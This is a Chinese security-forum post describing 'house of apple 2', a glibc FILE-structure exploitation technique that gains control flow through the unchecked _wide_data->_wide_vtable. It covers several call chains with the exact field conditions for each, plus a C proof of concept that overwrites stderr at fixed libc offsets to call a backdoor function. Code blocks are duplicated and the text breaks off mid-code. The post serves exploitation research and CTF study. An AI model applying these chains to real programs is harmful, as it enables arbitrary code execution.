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[原创] House of apple 一种新的glibc中IO攻击方法 (2)
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发表于: 2022-7-27 17:21
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house of apple系列利用方法文章：
之前提出了一种新的IO利用方法 house of apple。本篇是house of apple1的续集，继续给出基于IO_FILE->_wide_data的利用技巧。
在 house of apple1 的总结 里面提到: house of apple1 的利用链可以在任意地址写堆地址，相当于一次largebin attack的效果。因此，house of apple1 需要和其他方法结合而进行后续的FSOP利用。
那么在只劫持_wide_data的条件下能不能控制程序的执行流呢？答案是肯定的。
本篇的house of apple2会提出几条新的IO利用链，在劫持_IO_FILE->_wide_data的基础上，直接控制程序执行流。
关于前置知识这里就不赘述了，详情可看 house of apple1。
使用house of apple2的条件为：
stdin/stdout/stderr这三个_IO_FILE结构体使用的是_IO_file_jumps这个vtable，而当需要调用到vtable里面的函数指针时，会使用宏去调用。以_IO_file_overflow调用为例，glibc中调用的代码片段分析如下
其中，IO_validate_vtable函数负责检查vtable的合法性，会判断vtable的地址是不是在一个合法的区间。如果vtable的地址不合法，程序将会异常终止。
观察struct _IO_wide_data结构体，发现其对应有一个_wide_vtable成员。
在调用_wide_vtable虚表里面的函数时，同样是使用宏去调用，仍然以vtable->_overflow调用为例，所用到的宏依次为：
可以看到，在调用_wide_vtable里面的成员函数指针时，没有关于vtable的合法性检查。
因此，我们可以劫持IO_FILE的vtable为_IO_wfile_jumps，控制_wide_data为可控的堆地址空间，进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用，最终调用到_IO_Wxxxxx函数即可控制程序的执行流。
以下面提到的_IO_wdefault_xsgetn函数利用为例，编写demo示例如下：
编译后输出：
可以看到，成功调用了后门函数。
目前在glibc源码中搜索到的_IO_WXXXXX系列函数的调用只有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE和_IO_WOVERFLOW。
其中_IO_WSETBUF和_IO_WUNDERFLOW目前无法利用或利用困难，其余的均可构造合适的_IO_FILE进行利用。这里给出我总结的几条比较好利用的链。以下使用fp指代_IO_FILE结构体变量。
对fp的设置如下：
函数的调用链如下：
详细分析如下：
首先看_IO_wfile_overflow函数
需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0
然后看_IO_wdoallocbuf函数：
需要满足fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0。
对fp的设置如下：
函数的调用链如下：
详细分析如下：
看_IO_wfile_underflow_mmap函数：
需要设置fp->_flags & _IO_NO_READS == 0，设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end，设置fp->_IO_read_ptr < fp->_IO_read_end不进入调用，设置fp->_wide_data->_IO_buf_base == NULL和fp->_wide_data->_IO_save_base == NULL。
这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器，也就是第三个参数不为0。如果不满足这个条件，可选用其他链。
对fp的设置如下：
函数的调用链如下：
详细分析如下：
首先看_IO_wdefault_xsgetn函数：
由于more是第三个参数，所以不能为0。
直接设置fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end，使得count为0，不进入if分支。
随后当more != 0时会进入__wunderflow。
接着看__wunderflow：
要想调用到_IO_switch_to_wget_mode，需要设置fp->mode > 0，并且fp->_flags & _IO_CURRENTLY_PUTTING != 0。
然后在_IO_switch_to_wget_mode函数中：
当满足fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base时就会调用_IO_WOVERFLOW(fp)。
仍然以 house of apple 中的pwn_oneday为例。
程序的详细分析就不在此赘述。为了方便展示利用效果，后面的rop部分就不做了，我们利用本篇文章提出的方法输出 hack!字符串。
在largebin attack攻击_IO_list_all之后，伪造_IO_FILE结构：
所以最后的exp为：
调试如下：
通过exit执行到_IO_wdoallocbuf：
成功输出 hack!：
house of apple主要关注对_IO_FILE->_wide_data成员的攻击，并可以在劫持该成员之后改写地址内容或者控制程序执行流。
可以看到，对_wide_data->_wide_vtable虚表的成员函数指针调用时并不存在vtable的检查，因此，可以利用该漏洞进行FSOP。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))struct _IO_wide_data
{ wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};struct _IO_wide_data
{ wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)#define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)#define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<unistd.h>#include <string.h>void backdoor()
{ printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}void main()
{ setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;
puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;
puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;
puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<unistd.h>#include <string.h>void backdoor()
{ printf("\033[31m[!] Backdoor is called!\n");
_exit(0);
}void main()
{ setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
char *p1 = calloc(0x200, 1);
char *p2 = calloc(0x200, 1);
puts("[*] allocate two 0x200 chunks");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t libc_base_addr = puts_addr - 0x84420;
printf("[*] libc base address: %p\n", (void *)libc_base_addr);
size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0;
printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr);
size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
char *stderr2 = (char *)_IO_2_1_stderr_addr;
puts("[+] step 1: change stderr->_flags to 0x800");
*(size_t *)stderr2 = 0x800;
puts("[+] step 2: change stderr->_mode to 1");
*(size_t *)(stderr2 + 0xc0) = 1;
puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20");
*(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20;
puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1");
*(size_t *)(stderr2 + 0xa0) = (size_t)p1;
puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2");
*(size_t *)(p1 + 0xe0) = (size_t)p2;
puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base");
*(size_t *)(p1 + 0x20) = (size_t)1;
puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow");
*(size_t *)(p2 + 0x18) = (size_t)(&backdoor);
puts("[+] step 8: call fflush(stderr) to trigger backdoor func");
fflush(stderr);
}[*] allocate two 0x200 chunks
[*] puts address: 0x7f8f73d2e420
[*] libc base address: 0x7f8f73caa000
[*] _IO_2_1_stderr_ address: 0x7f8f73e975c0
[*] _IO_wstrn_jumps address: 0x7f8f73e92c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!
[*] allocate two 0x200 chunks
[*] puts address: 0x7f8f73d2e420
[*] libc base address: 0x7f8f73caa000
[*] _IO_2_1_stderr_ address: 0x7f8f73e975c0
[*] _IO_wstrn_jumps address: 0x7f8f73e92c60
[+] step 1: change stderr->_flags to 0x800
[+] step 2: change stderr->_mode to 1
[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20
[+] step 4: replace stderr->_wide_data with the allocated chunk p1
[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2
[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base
[+] step 7: put backdoor at fake _wide_vtable->_overflow
[+] step 8: call fflush(stderr) to trigger backdoor func
[!] Backdoor is called!
_IO_wfile_overflow _IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wfile_overflow _IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
wint_t_IO_wfile_overflow (FILE *f, wint_t wch)
{ if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}wint_t_IO_wfile_overflow (FILE *f, wint_t wch)
{ if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}void_IO_wdoallocbuf (FILE *fp)
{ if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}libc_hidden_def (_IO_wdoallocbuf)void_IO_wdoallocbuf (FILE *fp)
{ if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}libc_hidden_def (_IO_wdoallocbuf)_IO_wfile_underflow_mmap _IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wfile_underflow_mmap _IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{ struct _IO_codecvt *cd;
const char *read_stop;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
//......
}static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{ struct _IO_codecvt *cd;
const char *read_stop;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
//......
}_IO_wdefault_xsgetn __wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)
_IO_wdefault_xsgetn __wunderflow
_IO_switch_to_wget_mode
_IO_WOVERFLOW
*(fp->_wide_data->_wide_vtable + 0x18)(fp)
size_t_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{ size_t more = n;
wchar_t *s = (wchar_t*) data;
for (;;)
{
/* Data available. */
ssize_t count = (fp->_wide_data->_IO_read_end
- fp->_wide_data->_IO_read_ptr);
if (count > 0)
{
if ((size_t) count > more)
count = more;
if (count > 20)
{
s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
fp->_wide_data->_IO_read_ptr += count;
}
else if (count <= 0)
count = 0;
else
{
wchar_t *p = fp->_wide_data->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_wide_data->_IO_read_ptr = p;
}
more -= count;
}
if (more == 0 || __wunderflow (fp) == WEOF)
break;
}
return n - more;
}libc_hidden_def (_IO_wdefault_xsgetn)size_t[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
最后于 2023-12-20 13:32
被roderick01编辑
，原因： 更新链接
